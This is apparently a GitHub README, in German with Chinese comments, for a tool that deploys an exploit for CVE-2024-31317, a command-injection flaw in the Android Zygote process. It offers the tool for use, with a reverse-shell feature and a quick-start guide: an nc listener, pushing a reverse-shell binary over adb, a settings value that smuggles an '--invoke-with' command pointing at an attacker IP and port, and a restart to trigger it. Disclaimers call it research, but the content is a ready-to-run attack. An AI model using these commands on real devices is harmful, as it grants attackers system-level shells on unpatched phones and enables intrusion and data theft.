CVE-2024-31317 Deployer

🔒 Erklärung zur Sicherheitsforschung

Dieses Projekt dient ausschließlich Zwecken der Sicherheitsforschung und Bildung. Die Nutzung dieses Tools für unbefugte Tests ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden.

📋 Übersicht

CVE-2024-31317 ist eine schwerwiegende Sicherheitslücke, die Android-9- bis Android-13-Geräte betrifft und es Anwendungen mit der Berechtigung WRITE_SECURE_SETTINGS ermöglicht, durch Befehlsinjektion eine Ausführung mit Systemberechtigungen zu erlangen.

Dieses Projekt bietet eine detaillierte technische Analyse dieser Schwachstelle, Proof-of-Concept-Code sowie automatisierte Bereitstellungswerkzeuge.

✨ Hauptfunktionen

• 📱 Unterstützt alle Android-Versionen 9-13
• 🛠️ Automatisierte Bereitstellungsskripte
• 🔄 Reverse-Shell-Verbindung
• 📊 Detaillierte technische Dokumentation
• 🎯 Modulares Design

🐛 Schwachstellendetails

• CVE ID: CVE-2024-31317
• Schwachstellentyp: Befehlsinjektion
• Schweregrad: Hoch (High)
• CVSS-Score: 7.8
• Betroffene Komponente: Android-Zygote-Prozess
• Behebungsstatus: Behoben im Android-Sicherheitspatch vom Juni 2024

🎯 Betroffene Geräte

Betroffene Versionen

• ✅ Android 9-13

Nicht betroffene Versionen

• ❌ Android 14+ (behoben)
• ❌ Geräte mit Sicherheitspatch vom Juni 2024 oder neuer

📁 Projektstruktur

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 Schnellstart

1. Projekt klonen

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Payload kompilieren

chmod +x compile.sh
./compile.sh

3. Bereitstellung

# 启动监听器
nc -lvnp 4444

# 推送并执行
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# 注入payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# 触发漏洞
adb shell stop && adb shell start

📚 Dokumentation

• Detaillierte technische Analyse
• Payload-Verwendung
• Vollständiges Tutorial

⚠️ Haftungsausschluss

Dieses Projekt dient ausschließlich der Sicherheitsforschung und Bildung. Mit der Nutzung dieses Tools erklären Sie sich damit einverstanden:

• Alle geltenden Gesetze und Vorschriften einzuhalten
• Es nur für legale Sicherheitsforschung zu verwenden
• Die volle Verantwortung für Ihre Handlungen zu übernehmen

📜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE-Datei

👨‍💻 Autor

fcy10012 – GitHub

🙏 Danksagung

Referenzprojekt: WebLDix/CVE-2024-31317-PoC-Deployer

⭐ Wenn Ihnen dieses Projekt hilft, geben Sie ihm bitte einen Stern!